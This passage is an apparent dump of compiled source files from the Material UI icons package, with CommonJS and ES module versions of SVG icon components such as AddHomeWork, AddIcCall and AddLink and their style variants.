    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.5 6 10v9h5.08c-.62-4.3 2.72-8 6.92-8v-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19v-9l6-4.5 6 4.5v1c.7 0 1.37.1 2 .29V9l-8-6-8 6v12h7.68c-.3-.62-.5-1.29-.6-2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V21h-1v-2.5H15v-1h2.5V15h1v2.5H21z\"\n}, \"2\")], 'AddHomeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeWork.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11.68V11L8 6l-7 5v10h5v-6h4v6h1.68c-.43-.91-.68-1.92-.68-3 0-2.79 1.64-5.19 4-6.32m8 1.43V3H10v1.97l7 5v1.11c.33-.05.66-.08 1-.08 1.96 0 3.73.81 5 2.11M17 7h2v2h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 18c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5 5-2.24 5-5m-5.5 3v-2.5H15v-1h2.5V15h1v2.5H21v1h-2.5V21z\"\n}, \"1\")], 'AddHomeWork');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeWork.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11.68V11L8 6l-7 5v10h5v-6h4v6h1.68c-.43-.91-.68-1.92-.68-3 0-2.79 1.64-5.19 4-6.32m8 1.43V3H10v1.97l7 5v1.11c.33-.05.66-.08 1-.08 1.96 0 3.73.81 5 2.11M17 7h2v2h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 18c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5 5-2.24 5-5m-5.5 3v-2.5H15v-1h2.5V15h1v2.5H21v1h-2.5V21z\"\n}, \"1\")], 'AddHomeWork');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeWorkOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 14H5v5H3v-6.97l5-3.57 5 3.57v1.08c.57-.59 1.25-1.07 2-1.42V11L8 6l-7 5v10h6v-5h2v5h2.68c-.43-.91-.68-1.92-.68-3zm6-7h2v2h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 13.11V3H10v1.97l2 1.43V5h9v6.68c.75.36 1.43.84 2 1.43M23 18c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5 5-2.24 5-5m-5.5 3v-2.5H15v-1h2.5V15h1v2.5H21v1h-2.5V21z\"\n}, \"1\")], 'AddHomeWorkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeWorkOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 14H5v5H3v-6.97l5-3.57 5 3.57v1.08c.57-.59 1.25-1.07 2-1.42V11L8 6l-7 5v10h6v-5h2v5h2.68c-.43-.91-.68-1.92-.68-3zm6-7h2v2h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 13.11V3H10v1.97l2 1.43V5h9v6.68c.75.36 1.43.84 2 1.43M23 18c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5 5-2.24 5-5m-5.5 3v-2.5H15v-1h2.5V15h1v2.5H21v1h-2.5V21z\"\n}, \"1\")], 'AddHomeWorkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeWorkRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.96 11.7c-.09-.52-.36-.99-.8-1.3l-5-3.57c-.7-.5-1.63-.5-2.32 0l-5 3.57c-.53.38-.84.98-.84 1.63V19c0 1.1.9 2 2 2h3v-6h4v6h1.68c-.43-.91-.68-1.92-.68-3 0-2.78 1.62-5.17 3.96-6.3M23 13.11V4.97C23 3.88 22.12 3 21.03 3h-9.06C10.88 3 10 3.88 10 4.97l.02.05c.1.06.21.11.3.18l5 3.57c.79.56 1.34 1.4 1.56 2.32.37-.05.74-.09 1.12-.09 1.96 0 3.73.81 5 2.11M17 7h2v2h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 18c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5 5-2.24 5-5m-5.5 3v-2.5H15v-1h2.5V15h1v2.5H21v1h-2.5V21z\"\n}, \"1\")], 'AddHomeWorkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeWorkRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.96 11.7c-.09-.52-.36-.99-.8-1.3l-5-3.57c-.7-.5-1.63-.5-2.32 0l-5 3.57c-.53.38-.84.98-.84 1.63V19c0 1.1.9 2 2 2h3v-6h4v6h1.68c-.43-.91-.68-1.92-.68-3 0-2.78 1.62-5.17 3.96-6.3M23 13.11V4.97C23 3.88 22.12 3 21.03 3h-9.06C10.88 3 10 3.88 10 4.97l.02.05c.1.06.21.11.3.18l5 3.57c.79.56 1.34 1.4 1.56 2.32.37-.05.74-.09 1.12-.09 1.96 0 3.73.81 5 2.11M17 7h2v2h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 18c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5 5-2.24 5-5m-5.5 3v-2.5H15v-1h2.5V15h1v2.5H21v1h-2.5V21z\"\n}, \"1\")], 'AddHomeWorkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeWorkSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11.68V11L8 6l-7 5v10h5v-6h4v6h1.68c-.43-.91-.68-1.92-.68-3 0-2.79 1.64-5.19 4-6.32m8 1.43V3H10v1.97l7 5v1.11c.33-.05.66-.08 1-.08 1.96 0 3.73.81 5 2.11M17 7h2v2h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 18c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5 5-2.24 5-5m-5.5 3v-2.5H15v-1h2.5V15h1v2.5H21v1h-2.5V21z\"\n}, \"1\")], 'AddHomeWorkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeWorkSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11.68V11L8 6l-7 5v10h5v-6h4v6h1.68c-.43-.91-.68-1.92-.68-3 0-2.79 1.64-5.19 4-6.32m8 1.43V3H10v1.97l7 5v1.11c.33-.05.66-.08 1-.08 1.96 0 3.73.81 5 2.11M17 7h2v2h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 18c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5 5-2.24 5-5m-5.5 3v-2.5H15v-1h2.5V15h1v2.5H21v1h-2.5V21z\"\n}, \"1\")], 'AddHomeWorkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeWorkTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5v1.4l5 3.57v1.11c.33-.05.66-.08 1-.08 1.08 0 2.09.25 3 .68V5zm7 4h-2V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5h9v6.68c.75.36 1.43.84 2 1.42V3H10v1.97l2 1.43z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 7h2v2h-2zM8 6l-7 5v10h6v-5h2v5h2.68c-.43-.91-.68-1.92-.68-3v-4H5v5H3v-6.97l5-3.57 5 3.57v1.08c.57-.59 1.25-1.07 2-1.42V11z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8 8.46-5 3.57V19h2v-5h6v4c0-1.91.76-3.63 2-4.89v-1.08z\",\n  opacity: \".3\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V21h-1v-2.5H15v-1h2.5V15h1v2.5H21z\"\n}, \"4\")], 'AddHomeWorkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeWorkTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5v1.4l5 3.57v1.11c.33-.05.66-.08 1-.08 1.08 0 2.09.25 3 .68V5zm7 4h-2V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5h9v6.68c.75.36 1.43.84 2 1.42V3H10v1.97l2 1.43z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 7h2v2h-2zM8 6l-7 5v10h6v-5h2v5h2.68c-.43-.91-.68-1.92-.68-3v-4H5v5H3v-6.97l5-3.57 5 3.57v1.08c.57-.59 1.25-1.07 2-1.42V11z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m8 8.46-5 3.57V19h2v-5h6v4c0-1.91.76-3.63 2-4.89v-1.08z\",\n  opacity: \".3\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V21h-1v-2.5H15v-1h2.5V15h1v2.5H21z\"\n}, \"4\")], 'AddHomeWorkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddIcCall.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M21 6h-3V3h-2v3h-3v2h3v3h2V8h3z\"\n}), 'AddIcCall');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddIcCall.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M21 6h-3V3h-2v3h-3v2h3v3h2V8h3z\"\n}), 'AddIcCall');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddIcCallOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.45c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.4 8.5 5.2 8.5 3.95c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 4.95h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79M19 18.92c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM18 5.95v-3h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}), 'AddIcCallOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddIcCallOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.45c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.4 8.5 5.2 8.5 3.95c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 4.95h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79M19 18.92c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM18 5.95v-3h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}), 'AddIcCallOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddIcCallRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8h2v2c0 .55.45 1 1 1s1-.45 1-1V8h2c.55 0 1-.45 1-1s-.45-1-1-1h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1m5.21 7.27-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.04.57-1.64l-.29-2.52c-.11-1.01-.97-1.78-1.98-1.78H5.02c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1-.76-1.86-1.77-1.97\"\n}), 'AddIcCallRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddIcCallRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8h2v2c0 .55.45 1 1 1s1-.45 1-1V8h2c.55 0 1-.45 1-1s-.45-1-1-1h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1m5.21 7.27-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.04.57-1.64l-.29-2.52c-.11-1.01-.97-1.78-1.98-1.78H5.02c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1-.76-1.86-1.77-1.97\"\n}), 'AddIcCallRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddIcCallSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6h-3V3h-2v3h-3v2h3v3h2V8h3zm0 9.46-5.27-.61-2.52 2.52c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97z\"\n}), 'AddIcCallSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddIcCallSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6h-3V3h-2v3h-3v2h3v3h2V8h3zm0 9.46-5.27-.61-2.52 2.52c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97z\"\n}), 'AddIcCallSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddIcCallTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 17.41c-.88-.07-1.75-.22-2.6-.45l-1.2 1.2c1.21.41 2.48.67 3.8.76zM6.54 4.95h-1.5c.09 1.32.34 2.58.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 20.95c.55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.4 8.5 5.2 8.5 3.95c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17m-3.6-3.99c.85.24 1.72.39 2.6.45v1.5c-1.32-.09-2.6-.35-3.8-.76zM5.03 4.95h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79m10.97 6h2v-3h3v-2h-3v-3h-2v3h-3v2h3z\"\n}, \"1\")], 'AddIcCallTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddIcCallTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 17.41c-.88-.07-1.75-.22-2.6-.45l-1.2 1.2c1.21.41 2.48.67 3.8.76zM6.54 4.95h-1.5c.09 1.32.34 2.58.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 20.95c.55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.4 8.5 5.2 8.5 3.95c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17m-3.6-3.99c.85.24 1.72.39 2.6.45v1.5c-1.32-.09-2.6-.35-3.8-.76zM5.03 4.95h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79m10.97 6h2v-3h3v-2h-3v-3h-2v3h-3v2h3z\"\n}, \"1\")], 'AddIcCallTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLink.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 11h8v2H8zm12.1 1H22c0-2.76-2.24-5-5-5h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1M19 12h-2v3h-3v2h3v3h2v-3h3v-2h-3z\"\n}), 'AddLink');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLink.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 11h8v2H8zm12.1 1H22c0-2.76-2.24-5-5-5h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1M19 12h-2v3h-3v2h3v3h2v-3h3v-2h-3z\"\n}), 'AddLink');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLinkOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 11h8v2H8zm12.1 1H22c0-2.76-2.24-5-5-5h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1M19 12h-2v3h-3v2h3v3h2v-3h3v-2h-3z\"\n}), 'AddLinkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLinkOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 11h8v2H8zm12.1 1H22c0-2.76-2.24-5-5-5h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1M19 12h-2v3h-3v2h3v3h2v-3h3v-2h-3z\"\n}), 'AddLinkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLinkRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 11h6c.55 0 1 .45 1 1s-.45 1-1 1H9c-.55 0-1-.45-1-1s.45-1 1-1m11.93 1c.62 0 1.07-.59.93-1.19C21.32 8.62 19.35 7 17 7h-3.05c-.52 0-.95.43-.95.95s.43.95.95.95H17c1.45 0 2.67 1 3.01 2.34.11.44.47.76.92.76m-16.97-.62C4.24 9.91 5.62 8.9 7.12 8.9h2.93c.52 0 .95-.43.95-.95S10.57 7 10.05 7H7.22c-2.61 0-4.94 1.91-5.19 4.51C1.74 14.49 4.08 17 7 17h3.05c.52 0 .95-.43.95-.95s-.43-.95-.95-.95H7c-1.91 0-3.42-1.74-3.04-3.72M18 12c-.55 0-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1h-2v-2c0-.55-.45-1-1-1\"\n}), 'AddLinkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddLinkRounded.mjs",
